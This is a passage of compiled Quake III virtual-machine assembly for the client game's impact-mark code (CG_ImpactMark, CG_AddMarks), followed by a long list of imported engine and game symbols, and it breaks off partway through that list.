INDIRP4 ASGNP4 ADDRGP4 cg_activeMarkPolys+4 ADDRLP4 0 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 RETP4 LABELV $83 endproc CG_AllocMark 16 12 export CG_ImpactMark proc CG_ImpactMark 6088 28 ADDRFP4 0 ADDRFP4 0 INDIRI4 ASGNI4 ADDRFP4 4 ADDRFP4 4 INDIRP4 ASGNP4 ADDRFP4 8 ADDRFP4 8 INDIRP4 ASGNP4 ADDRFP4 16 ADDRFP4 16 INDIRF4 ASGNF4 ADDRFP4 20 ADDRFP4 20 INDIRF4 ASGNF4 ADDRFP4 24 ADDRFP4 24 INDIRF4 ASGNF4 ADDRFP4 28 ADDRFP4 28 INDIRF4 ASGNF4 ADDRFP4 32 ADDRFP4 32 INDIRI4 ASGNI4 ADDRFP4 36 ADDRFP4 36 INDIRF4 ASGNF4 ADDRFP4 40 ADDRFP4 40 INDIRI4 ASGNI4 ADDRGP4 cg_addMarks+12 INDIRI4 CNSTI4 0 NEI4 $94 ADDRGP4 $93 JUMPV LABELV $94 ADDRFP4 36 INDIRF4 CNSTF4 0 GTF4 $97 ADDRGP4 $99 ARGP4 ADDRGP4 CG_Error CALLV pop LABELV $97 ADDRFP4 8 INDIRP4 ARGP4 ADDRLP4 0 ARGP4 ADDRGP4 VectorNormalize2 CALLF4 pop ADDRLP4 0+12 ARGP4 ADDRLP4 0 ARGP4 ADDRGP4 PerpendicularVector CALLV pop ADDRLP4 0+24 ARGP4 ADDRLP4 0 ARGP4 ADDRLP4 0+12 ARGP4 ADDRFP4 12 INDIRF4 ARGF4 ADDRGP4 RotatePointAroundVector CALLV pop ADDRLP4 0 ARGP4 ADDRLP4 0+24 ARGP4 ADDRLP4 0+12 ARGP4 ADDRGP4 CrossProduct CALLV pop ADDRLP4 48 CNSTF4 1056964608 ADDRFP4 36 INDIRF4 DIVF4 ASGNF4 ADDRLP4 44 CNSTI4 0 ASGNI4 LABELV $105 ADDRLP4 5752 ADDRLP4 44 INDIRI4 CNSTI4 2 LSHI4 ASGNI4 ADDRLP4 5752 INDIRI4 ADDRLP4 4664 ADDP4 ADDRLP4 5752 INDIRI4 ADDRFP4 4 INDIRP4 ADDP4 INDIRF4 ADDRFP4 36 INDIRF4 ADDRLP4 5752 INDIRI4 ADDRLP4 0+12 ADDP4 INDIRF4 MULF4 SUBF4 ADDRFP4 36 INDIRF4 ADDRLP4 5752 INDIRI4 ADDRLP4 0+24 ADDP4 INDIRF4 MULF4 SUBF4 ASGNF4 ADDRLP4 5760 ADDRLP4 44 INDIRI4 CNSTI4 2 LSHI4 ASGNI4 ADDRLP4 5760 INDIRI4 ADDRLP4 4664+12 ADDP4 ADDRLP4 5760 INDIRI4 ADDRFP4 4 INDIRP4 ADDP4 INDIRF4 ADDRFP4 36 INDIRF4 ADDRLP4 5760 INDIRI4 ADDRLP4 0+12 ADDP4 INDIRF4 MULF4 ADDF4 ADDRFP4 36 INDIRF4 ADDRLP4 5760 INDIRI4 ADDRLP4 0+24 ADDP4 INDIRF4 MULF4 SUBF4 ASGNF4 ADDRLP4 5768 ADDRLP4 44 INDIRI4 CNSTI4 2 LSHI4 ASGNI4 ADDRLP4 5768 INDIRI4 ADDRLP4 4664+24 ADDP4 ADDRLP4 5768 INDIRI4 ADDRFP4 4 INDIRP4 ADDP4 INDIRF4 ADDRFP4 36 INDIRF4 ADDRLP4 5768 INDIRI4 ADDRLP4 0+12 ADDP4 INDIRF4 MULF4 ADDF4 ADDRFP4 36 INDIRF4 ADDRLP4 5768 INDIRI4 ADDRLP4 0+24 ADDP4 INDIRF4 MULF4 ADDF4 ASGNF4 ADDRLP4 5776 ADDRLP4 44 INDIRI4 CNSTI4 2 LSHI4 ASGNI4 ADDRLP4 5776 INDIRI4 ADDRLP4 4664+36 ADDP4 ADDRLP4 5776 INDIRI4 ADDRFP4 4 INDIRP4 ADDP4 INDIRF4 ADDRFP4 36 INDIRF4 ADDRLP4 5776 INDIRI4 ADDRLP4 0+12 ADDP4 INDIRF4 MULF4 SUBF4 ADDRFP4 36 INDIRF4 ADDRLP4 5776 INDIRI4 ADDRLP4 0+24 ADDP4 INDIRF4 MULF4 ADDF4 ASGNF4 LABELV $106 ADDRLP4 44 ADDRLP4 44 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 44 INDIRI4 CNSTI4 3 LTI4 $105 ADDRLP4 5752 CNSTF4 3248488448 ASGNF4 ADDRLP4 4716 ADDRLP4 5752 INDIRF4 ADDRFP4 8 INDIRP4 INDIRF4 MULF4 ASGNF4 ADDRLP4 4716+4 ADDRLP4 5752 INDIRF4 ADDRFP4 8 INDIRP4 CNSTI4 4 ADDP4 INDIRF4 MULF4 ASGNF4 ADDRLP4 4716+8 CNSTF4 3248488448 ADDRFP4 8 INDIRP4 CNSTI4 8 ADDP4 INDIRF4 MULF4 ASGNF4 CNSTI4 4 ARGI4 ADDRLP4 4664 ARGP4 ADDRLP4 4716 ARGP4 CNSTI4 384 ARGI4 ADDRLP4 56 ARGP4 CNSTI4 128 ARGI4 ADDRLP4 4728 ARGP4 ADDRLP4 5760 ADDRGP4 trap_CM_MarkFragments CALLI4 ASGNI4 ADDRLP4 4712 ADDRLP4 5760 INDIRI4 ASGNI4 ADDRLP4 5772 CNSTF4 1132396544 ADDRFP4 16 INDIRF4 MULF4 ASGNF4 ADDRLP4 5776 CNSTF4 1325400064 ASGNF4 ADDRLP4 5772 INDIRF4 ADDRLP4 5776 INDIRF4 LTF4 $123 ADDRLP4 5764 ADDRLP4 5772 INDIRF4 ADDRLP4 5776 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $124 JUMPV LABELV $123 ADDRLP4 5764 ADDRLP4 5772 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $124 ADDRLP4 52 ADDRLP4 5764 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 5780 CNSTF4 1132396544 ADDRFP4 20 INDIRF4 MULF4 ASGNF4 ADDRLP4 5784 CNSTF4 1325400064 ASGNF4 ADDRLP4 5780 INDIRF4 ADDRLP4 5784 INDIRF4 LTF4 $127 ADDRLP4 5768 ADDRLP4 5780 INDIRF4 ADDRLP4 5784 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $128 JUMPV LABELV $127 ADDRLP4 5768 ADDRLP4 5780 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $128 ADDRLP4 52+1 ADDRLP4 5768 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 5792 CNSTF4 1132396544 ADDRFP4 24 INDIRF4 MULF4 ASGNF4 ADDRLP4 5796 CNSTF4 1325400064 ASGNF4 ADDRLP4 5792 INDIRF4 ADDRLP4 5796 INDIRF4 LTF4 $131 ADDRLP4 5788 ADDRLP4 5792 INDIRF4 ADDRLP4 5796 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $132 JUMPV LABELV $131 ADDRLP4 5788 ADDRLP4 5792 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $132 ADDRLP4 52+2 ADDRLP4 5788 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 5804 CNSTF4 1132396544 ADDRFP4 28 INDIRF4 MULF4 ASGNF4 ADDRLP4 5808 CNSTF4 1325400064 ASGNF4 ADDRLP4 5804 INDIRF4 ADDRLP4 5808 INDIRF4 LTF4 $135 ADDRLP4 5800 ADDRLP4 5804 INDIRF4 ADDRLP4 5808 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $136 JUMPV LABELV $135 ADDRLP4 5800 ADDRLP4 5804 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $136 ADDRLP4 52+3 ADDRLP4 5800 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 44 CNSTI4 0 ASGNI4 ADDRLP4 40 ADDRLP4 4728 ASGNP4 ADDRGP4 $140 JUMPV LABELV $137 ADDRLP4 40 INDIRP4 CNSTI4 4 ADDP4 INDIRI4 CNSTI4 10 LEI4 $141 ADDRLP4 40 INDIRP4 CNSTI4 4 ADDP4 CNSTI4 10 ASGNI4 LABELV $141 ADDRLP4 36 CNSTI4 0 ASGNI4 ADDRLP4 5812 ADDRLP4 5820 ASGNP4 ADDRGP4 $146 JUMPV LABELV $143 ADDRLP4 5812 INDIRP4 CNSTI4 12 ADDRLP4 40 INDIRP4 INDIRI4 ADDRLP4 36 INDIRI4 ADDI4 MULI4 ADDRLP4 56 ADDP4 INDIRB ASGNB 12 ADDRLP4 6060 ADDRLP4 5812 INDIRP4 INDIRF4 ADDRFP4 4 INDIRP4 INDIRF4 SUBF4 ASGNF4 ADDRLP4 6080 CNSTI4 4 ASGNI4 ADDRLP4 6060+4 ADDRLP4 5812 INDIRP4 ADDRLP4 6080 INDIRI4 ADDP4 INDIRF4 ADDRFP4 4 INDIRP4 ADDRLP4 6080 INDIRI4 ADDP4 INDIRF4 SUBF4 ASGNF4 ADDRLP4 6084 CNSTI4 8 ASGNI4 ADDRLP4 6060+8 ADDRLP4 5812 INDIRP4 ADDRLP4 6084 INDIRI4 ADDP4 INDIRF4 ADDRFP4 4 INDIRP4 ADDRLP4 6084 INDIRI4 ADDP4 INDIRF4 SUBF4 ASGNF4 ADDRLP4 5812 INDIRP4 CNSTI4 12 ADDP4 ADDRLP4 6060 INDIRF4 ADDRLP4 0+12 INDIRF4 MULF4 ADDRLP4 6060+4 INDIRF4 ADDRLP4 0+12+4 INDIRF4 MULF4 ADDF4 ADDRLP4 6060+8 INDIRF4 ADDRLP4 0+12+8 INDIRF4 MULF4 ADDF4 ADDRLP4 48 INDIRF4 MULF4 CNSTF4 1056964608 ADDF4 ASGNF4 ADDRLP4 5812 INDIRP4 CNSTI4 16 ADDP4 ADDRLP4 6060 INDIRF4 ADDRLP4 0+24 INDIRF4 MULF4 ADDRLP4 6060+4 INDIRF4 ADDRLP4 0+24+4 INDIRF4 MULF4 ADDF4 ADDRLP4 6060+8 INDIRF4 ADDRLP4 0+24+8 INDIRF4 MULF4 ADDF4 ADDRLP4 48 INDIRF4 MULF4 CNSTF4 1056964608 ADDF4 ASGNF4 ADDRLP4 5812 INDIRP4 CNSTI4 20 ADDP4 ADDRLP4 52 INDIRI4 ASGNI4 LABELV $144 ADDRLP4 36 ADDRLP4 36 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 5812 ADDRLP4 5812 INDIRP4 CNSTI4 24 ADDP4 ASGNP4 LABELV $146 ADDRLP4 36 INDIRI4 ADDRLP4 40 INDIRP4 CNSTI4 4 ADDP4 INDIRI4 LTI4 $143 ADDRFP4 40 INDIRI4 CNSTI4 0 EQI4 $163 ADDRFP4 0 INDIRI4 ARGI4 ADDRLP4 40 INDIRP4 CNSTI4 4 ADDP4 INDIRI4 ARGI4 ADDRLP4 5820 ARGP4 ADDRGP4 trap_R_AddPolyToScene CALLV pop ADDRGP4 $138 JUMPV LABELV $163 ADDRLP4 6060 ADDRGP4 CG_AllocMark CALLP4 ASGNP4 ADDRLP4 5816 ADDRLP4 6060 INDIRP4 ASGNP4 ADDRLP4 5816 INDIRP4 CNSTI4 8 ADDP4 ADDRGP4 cg+107604 INDIRI4 ASGNI4 ADDRLP4 5816 INDIRP4 CNSTI4 16 ADDP4 ADDRFP4 32 INDIRI4 ASGNI4 ADDRLP4 5816 INDIRP4 CNSTI4 12 ADDP4 ADDRFP4 0 INDIRI4 ASGNI4 ADDRLP4 5816 INDIRP4 CNSTI4 40 ADDP4 ADDRLP4 40 INDIRP4 CNSTI4 4 ADDP4 INDIRI4 ASGNI4 ADDRLP4 5816 INDIRP4 CNSTI4 20 ADDP4 ADDRFP4 16 INDIRF4 ASGNF4 ADDRLP4 5816 INDIRP4 CNSTI4 24 ADDP4 ADDRFP4 20 INDIRF4 ASGNF4 ADDRLP4 5816 INDIRP4 CNSTI4 28 ADDP4 ADDRFP4 24 INDIRF4 ASGNF4 ADDRLP4 5816 INDIRP4 CNSTI4 32 ADDP4 ADDRFP4 28 INDIRF4 ASGNF4 ADDRLP4 5816 INDIRP4 CNSTI4 48 ADDP4 ARGP4 ADDRLP4 5820 ARGP4 CNSTU4 24 ADDRLP4 40 INDIRP4 CNSTI4 4 ADDP4 INDIRI4 CVIU4 4 MULU4 ARGU4 ADDRGP4 qk_memcpy CALLP4 pop ADDRLP4 6064 ADDRGP4 markTotal ASGNP4 ADDRLP4 6064 INDIRP4 ADDRLP4 6064 INDIRP4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $138 ADDRLP4 44 ADDRLP4 44 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 40 ADDRLP4 40 INDIRP4 CNSTI4 8 ADDP4 ASGNP4 LABELV $140 ADDRLP4 44 INDIRI4 ADDRLP4 4712 INDIRI4 LTI4 $137 LABELV $93 endproc CG_ImpactMark 6088 28 export CG_AddMarks proc CG_AddMarks 84 12 ADDRGP4 cg_addMarks+12 INDIRI4 CNSTI4 0 NEI4 $167 ADDRGP4 $166 JUMPV LABELV $167 ADDRLP4 0 ADDRGP4 cg_activeMarkPolys+4 INDIRP4 ASGNP4 ADDRGP4 $174 JUMPV LABELV $171 ADDRLP4 16 ADDRLP4 0 INDIRP4 CNSTI4 4 ADDP4 INDIRP4 ASGNP4 ADDRGP4 cg+107604 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 CNSTI4 10000 ADDI4 LEI4 $175 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 CG_FreeMarkPoly CALLV pop ADDRGP4 $172 JUMPV LABELV $175 ADDRLP4 0 INDIRP4 CNSTI4 12 ADDP4 INDIRI4 ADDRGP4 cgs+152852+372 INDIRI4 NEI4 $178 ADDRLP4 24 CNSTF4 1138819072 ASGNF4 ADDRLP4 8 ADDRLP4 24 INDIRF4 ADDRLP4 24 INDIRF4 ADDRGP4 cg+107604 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 SUBI4 CVIF4 4 CNSTF4 1161527296 DIVF4 MULF4 SUBF4 CVFI4 4 ASGNI4 ADDRLP4 8 INDIRI4 CNSTI4 255 GEI4 $183 ADDRLP4 8 INDIRI4 CNSTI4 0 GEI4 $185 ADDRLP4 8 CNSTI4 0 ASGNI4 LABELV $185 ADDRLP4 0 INDIRP4 CNSTI4 68 ADDP4 INDIRU1 CVUI4 1 CNSTI4 0 EQI4 $187 ADDRLP4 4 CNSTI4 0 ASGNI4 ADDRGP4 $192 JUMPV LABELV $189 ADDRLP4 36 CNSTI4 20 ASGNI4 ADDRLP4 40 ADDRLP4 0 INDIRP4 ADDRLP4 36 INDIRI4 ADDP4 INDIRF4 ADDRLP4 8 INDIRI4 CVIF4 4 MULF4 ASGNF4 ADDRLP4 44 CNSTF4 1325400064 ASGNF4 ADDRLP4 40 INDIRF4 ADDRLP4 44 INDIRF4 LTF4 $194 ADDRLP4 28 ADDRLP4 40 INDIRF4 ADDRLP4 44 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $195 JUMPV LABELV $194 ADDRLP4 28 ADDRLP4 40 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $195 CNSTI4 24 ADDRLP4 4 INDIRI4 MULI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ADDP4 ADDRLP4 36 INDIRI4 ADDP4 ADDRLP4 28 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 56 CNSTI4 24 ASGNI4 ADDRLP4 60 ADDRLP4 0 INDIRP4 ADDRLP4 56 INDIRI4 ADDP4 INDIRF4 ADDRLP4 8 INDIRI4 CVIF4 4 MULF4 ASGNF4 ADDRLP4 64 CNSTF4 1325400064 ASGNF4 ADDRLP4 60 INDIRF4 ADDRLP4 64 INDIRF4 LTF4 $197 ADDRLP4 48 ADDRLP4 60 INDIRF4 ADDRLP4 64 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $198 JUMPV LABELV $197 ADDRLP4 48 ADDRLP4 60 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $198 ADDRLP4 56 INDIRI4 ADDRLP4 4 INDIRI4 MULI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ADDP4 CNSTI4 21 ADDP4 ADDRLP4 48 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 76 ADDRLP4 0 INDIRP4 CNSTI4 28 ADDP4 INDIRF4 ADDRLP4 8 INDIRI4 CVIF4 4 MULF4 ASGNF4 ADDRLP4 80 CNSTF4 1325400064 ASGNF4 ADDRLP4 76 INDIRF4 ADDRLP4 80 INDIRF4 LTF4 $200 ADDRLP4 68 ADDRLP4 76 INDIRF4 ADDRLP4 80 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $201 JUMPV LABELV $200 ADDRLP4 68 ADDRLP4 76 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $201 CNSTI4 24 ADDRLP4 4 INDIRI4 MULI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ADDP4 CNSTI4 22 ADDP4 ADDRLP4 68 INDIRU4 CVUU1 4 ASGNU1 LABELV $190 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $192 ADDRLP4 4 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 40 ADDP4 INDIRI4 LTI4 $189 LABELV $187 LABELV $183 LABELV $178 ADDRLP4 12 ADDRLP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 CNSTI4 10000 ADDI4 ADDRGP4 cg+107604 INDIRI4 SUBI4 ASGNI4 ADDRLP4 12 INDIRI4 CNSTI4 1000 GEI4 $203 ADDRLP4 8 CNSTI4 255 ADDRLP4 12 INDIRI4 MULI4 CNSTI4 1000 DIVI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 16 ADDP4 INDIRI4 CNSTI4 0 EQI4 $205 ADDRLP4 4 CNSTI4 0 ASGNI4 ADDRGP4 $210 JUMPV LABELV $207 CNSTI4 24 ADDRLP4 4 INDIRI4 MULI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ADDP4 CNSTI4 23 ADDP4 ADDRLP4 8 INDIRI4 CVIU4 4 CVUU1 4 ASGNU1 LABELV $208 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $210 ADDRLP4 4 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 40 ADDP4 INDIRI4 LTI4 $207 ADDRGP4 $206 JUMPV LABELV $205 ADDRLP4 4 CNSTI4 0 ASGNI4 ADDRGP4 $214 JUMPV LABELV $211 ADDRLP4 32 CNSTI4 20 ASGNI4 ADDRLP4 36 ADDRLP4 0 INDIRP4 ADDRLP4 32 INDIRI4 ADDP4 INDIRF4 ADDRLP4 8 INDIRI4 CVIF4 4 MULF4 ASGNF4 ADDRLP4 40 CNSTF4 1325400064 ASGNF4 ADDRLP4 36 INDIRF4 ADDRLP4 40 INDIRF4 LTF4 $216 ADDRLP4 24 ADDRLP4 36 INDIRF4 ADDRLP4 40 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $217 JUMPV LABELV $216 ADDRLP4 24 ADDRLP4 36 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $217 CNSTI4 24 ADDRLP4 4 INDIRI4 MULI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ADDP4 ADDRLP4 32 INDIRI4 ADDP4 ADDRLP4 24 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 52 CNSTI4 24 ASGNI4 ADDRLP4 56 ADDRLP4 0 INDIRP4 ADDRLP4 52 INDIRI4 ADDP4 INDIRF4 ADDRLP4 8 INDIRI4 CVIF4 4 MULF4 ASGNF4 ADDRLP4 60 CNSTF4 1325400064 ASGNF4 ADDRLP4 56 INDIRF4 ADDRLP4 60 INDIRF4 LTF4 $219 ADDRLP4 44 ADDRLP4 56 INDIRF4 ADDRLP4 60 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $220 JUMPV LABELV $219 ADDRLP4 44 ADDRLP4 56 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $220 ADDRLP4 52 INDIRI4 ADDRLP4 4 INDIRI4 MULI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ADDP4 CNSTI4 21 ADDP4 ADDRLP4 44 INDIRU4 CVUU1 4 ASGNU1 ADDRLP4 72 ADDRLP4 0 INDIRP4 CNSTI4 28 ADDP4 INDIRF4 ADDRLP4 8 INDIRI4 CVIF4 4 MULF4 ASGNF4 ADDRLP4 76 CNSTF4 1325400064 ASGNF4 ADDRLP4 72 INDIRF4 ADDRLP4 76 INDIRF4 LTF4 $222 ADDRLP4 64 ADDRLP4 72 INDIRF4 ADDRLP4 76 INDIRF4 SUBF4 CVFI4 4 CVIU4 4 CNSTU4 2147483648 ADDU4 ASGNU4 ADDRGP4 $223 JUMPV LABELV $222 ADDRLP4 64 ADDRLP4 72 INDIRF4 CVFI4 4 CVIU4 4 ASGNU4 LABELV $223 CNSTI4 24 ADDRLP4 4 INDIRI4 MULI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ADDP4 CNSTI4 22 ADDP4 ADDRLP4 64 INDIRU4 CVUU1 4 ASGNU1 LABELV $212 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $214 ADDRLP4 4 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 40 ADDP4 INDIRI4 LTI4 $211 LABELV $206 LABELV $203 ADDRLP4 0 INDIRP4 CNSTI4 12 ADDP4 INDIRI4 ARGI4 ADDRLP4 0 INDIRP4 CNSTI4 40 ADDP4 INDIRI4 ARGI4 ADDRLP4 0 INDIRP4 CNSTI4 48 ADDP4 ARGP4 ADDRGP4 trap_R_AddPolyToScene CALLV pop LABELV $172 ADDRLP4 0 ADDRLP4 16 INDIRP4 ASGNP4 LABELV $174 ADDRLP4 0 INDIRP4 CVPU4 4 ADDRGP4 cg_activeMarkPolys CVPU4 4 NEU4 $171 LABELV $166 endproc CG_AddMarks 84 12 bss align 4 LABELV markTotal skip 4 export cg_freeMarkPolys align 4 LABELV cg_freeMarkPolys skip 4 export cg_activeMarkPolys align 4 LABELV cg_activeMarkPolys skip 288 import CG_NewParticleArea import initparticles import CG_ParticleExplosion import CG_ParticleMisc import CG_ParticleDust import CG_ParticleSparks import CG_ParticleBulletDebris import CG_ParticleSnowFlurry import CG_AddParticleShrapnel import CG_ParticleSmoke import CG_ParticleSnow import CG_AddParticles import CG_ClearParticles import trap_GetEntityToken import trap_getCameraInfo import trap_startCamera import trap_loadCamera import trap_SnapVector import trap_RealTime import trap_CIN_SetExtents import trap_CIN_DrawCinematic import trap_CIN_RunCinematic import trap_CIN_StopCinematic import trap_CIN_PlayCinematic import trap_Key_GetKey import trap_Key_SetCatcher import trap_Key_GetCatcher import trap_Key_IsDown import trap_R_RegisterFont import trap_MemoryRemaining import testPrintFloat import testPrintInt import trap_SetUserCmdValue import trap_GetUserCmd import trap_GetCurrentCmdNumber import trap_GetServerCommand import trap_GetSnapshot import trap_GetCurrentSnapshotNumber import trap_GetGameState import trap_GetGlconfig import trap_R_inPVS import trap_R_RemapShader import trap_R_LerpTag import trap_R_ModelBounds import trap_R_DrawStretchPic import trap_R_SetColor import trap_R_RenderScene import trap_R_LightForPoint import trap_R_AddAdditiveLightToScene import trap_R_AddLightToScene import trap_R_AddPolysToScene import trap_R_AddPolyToScene import trap_R_AddRefEntityToScene import trap_R_ClearScene import trap_R_RegisterShaderNoMip import trap_R_RegisterShader import trap_R_RegisterSkin import trap_R_RegisterModel import trap_R_LoadWorldMap import trap_S_StopBackgroundTrack import trap_S_StartBackgroundTrack import trap_S_RegisterSound import trap_S_Respatialize import trap_S_UpdateEntityPosition import trap_S_AddRealLoopingSound import trap_S_AddLoopingSound import trap_S_ClearLoopingSounds import trap_S_StartLocalSound import trap_S_StopLoopingSound import trap_S_StartSound import trap_CM_MarkFragments import trap_CM_TransformedCapsuleTrace import trap_CM_TransformedBoxTrace import trap_CM_CapsuleTrace import trap_CM_BoxTrace import trap_CM_TransformedPointContents import trap_CM_PointContents import trap_CM_TempBoxModel import trap_CM_InlineModel import trap_CM_NumInlineModels import trap_CM_LoadMap import trap_UpdateScreen import trap_SendClientCommand import trap_RemoveCommand import trap_AddCommand import trap_SendConsoleCommand import trap_FS_Seek import trap_FS_FCloseFile import trap_FS_Write import trap_FS_Read import trap_FS_FOpenFile import trap_Args import trap_Argv import trap_Argc import trap_Cvar_VariableStringBuffer import trap_Cvar_Set import trap_Cvar_Update import trap_Cvar_Register import trap_Milliseconds import trap_Error import trap_Print import CG_CheckChangedPredictableEvents import CG_TransitionPlayerState import CG_Respawn import CG_ShaderStateChanged import CG_SetConfigValues import CG_ParseServerinfo import CG_ExecuteNewServerCommands import CG_InitConsoleCommands import CG_ConsoleCommand import CG_DrawOldTourneyScoreboard import CG_DrawOldScoreboard import CG_DrawInformation import CG_LoadingClient import CG_LoadingItem import CG_LoadingString import CG_ProcessSnapshots import CG_MakeExplosion import CG_Bleed import CG_BigExplode import CG_GibPlayer import CG_ScorePlum import CG_SpawnEffect import CG_BubbleTrail import CG_SmokePuff import CG_AddLocalEntities import CG_AllocLocalEntity import CG_InitLocalEntities import CG_OutOfAmmoChange import CG_DrawWeaponSelect import CG_AddPlayerWeapon import CG_AddViewWeapon import CG_GrappleTrail import CG_RailTrail import CG_Bullet import CG_ShotgunFire import CG_MissileHitPlayer import CG_MissileHitWall import CG_FireWeapon import CG_RegisterItemVisuals import CG_RegisterWeapon import CG_Weapon_f import CG_PrevWeapon_f import CG_NextWeapon_f import CG_PositionRotatedEntityOnTag import CG_PositionEntityOnTag import CG_AdjustPositionForMover import CG_Beam import CG_AddPacketEntities import CG_SetEntitySoundPosition import CG_PainEvent import CG_EntityEvent import CG_PlaceString import CG_CheckEvents import CG_LoadDeferredPlayers import CG_PredictPlayerState import CG_Trace import CG_PointContents import CG_BuildSolidList import CG_CustomSound import CG_NewClientInfo import CG_AddRefEntityWithPowerups import CG_ResetPlayerEntity import CG_Player import CG_StatusHandle import CG_OtherTeamHasFlag import CG_YourTeamHasFlag import CG_GameTypeString import CG_CheckOrderPending import CG_Text_PaintChar import CG_Draw3DModel import CG_GetKillerText import CG_GetGameStatusText import CG_GetTeamColor import CG_InitTeamChat import CG_SetPrintString import CG_ShowResponseHead import CG_RunMenuScript import CG_OwnerDrawVisible import CG_GetValue import CG_SelectNextPlayer import CG_SelectPrevPlayer import CG_Text_Height import CG_Text_Width import CG_Text_Paint import CG_OwnerDraw import CG_DrawTeamBackground import CG_DrawFlagModel import CG_DrawActive import CG_DrawHead import CG_CenterPrint import CG_AddLagometerSnapshotInfo import CG_AddLagometerFrameInfo import teamChat2 import teamChat1 import systemChat import drawTeamOverlayModificationCount import numSortedTeamPlayers import sortedTeamPlayers import CG_DrawTopBottom import CG_DrawSides import CG_DrawRect import UI_DrawProportionalString import CG_GetColorForHealth import CG_ColorForHealth import CG_TileClear import CG_TeamColor import CG_FadeColor import CG_DrawStrlen import CG_DrawSmallStringColor import CG_DrawSmallString import CG_DrawBigStringColor import CG_DrawBigString import CG_DrawStringExt import CG_DrawString import CG_DrawPic import CG_FillRect import CG_AdjustFrom640 import CG_DrawActiveFrame import CG_AddBufferedSound import CG_ZoomUp_f import CG_ZoomDown_f import CG_TestModelPrevSkin_f import CG_TestModelNextSkin_f import CG_TestModelPrevFrame_f import CG_TestModelNextFrame_f import CG_TestGun_f import CG_TestModel_f import CG_BuildSpectatorString import CG_GetSelectedScore import CG_SetScoreSelection import CG_RankRunFrame import CG_EventHandling import CG_MouseEvent import CG_KeyEvent import CG_LoadMenus import CG_LastAttacker import CG_CrosshairPlayer import CG_UpdateCvars import CG_StartMusic import CG_Error import CG_Printf import CG_Argv import CG_ConfigString import cg_trueLightning import cg_oldPlasma import cg_oldRocket import cg_oldRail import cg_noProjectileTrail import cg_noTaunt import cg_bigFont import cg_smallFont import cg_cameraMode import cg_timescale import cg_timescaleFadeSpeed import cg_timescaleFadeEnd import cg_cameraOrbitDelay import cg_cameraOrbit import pmove_msec import pmove_fixed import cg_smoothClients import cg_scorePlum import cg_teamChatsOnly import cg_drawFriend import cg_deferPlayers import cg_predictItems import cg_blood import cg_paused import cg_buildScript import cg_forceModel import cg_stats import cg_teamChatHeight import cg_teamChatTime import cg_synchronousClients import cg_drawAttacker import cg_lagometer import cg_thirdPerson import cg_thirdPersonAngle import cg_thirdPersonRange import cg_zoomFov import cg_fov import cg_simpleItems import cg_ignore import cg_autoswitch import cg_tracerLength import cg_tracerWidth import cg_tracerChance import cg_viewsize import cg_drawGun import cg_gun_z import cg_gun_y import cg_gun_x import cg_gun_frame import cg_brassTime import cg_addMarks import cg_footsteps import cg_showmiss import cg_noPlayerAnims import cg_nopredict import cg_errorDecay import cg_railTrailTime import cg_debugEvents import cg_debugPosition import cg_debugAnim import cg_animSpeed import cg_draw2D import 